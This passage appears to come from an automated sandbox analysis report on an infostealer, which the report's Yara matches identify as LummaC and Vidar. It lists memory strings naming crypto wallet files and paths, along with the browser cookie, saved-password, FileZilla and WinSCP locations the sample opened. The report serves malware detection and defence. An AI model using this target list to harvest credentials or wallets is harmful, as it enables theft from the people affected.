Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2999510077.0000000000FC1000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: exodus.*
Source: RegAsm.exe, 00000003.00000002.2999510077.0000000000FC1000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ethereum.*
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.3a95570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3a95570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C330C40 sqlite3_bind_zeroblob,	3_2_6C330C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C330D60 sqlite3_bind_parameter_name,	3_2_6C330D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C258EA0 sqlite3_clear_bindings,	3_2_6C258EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
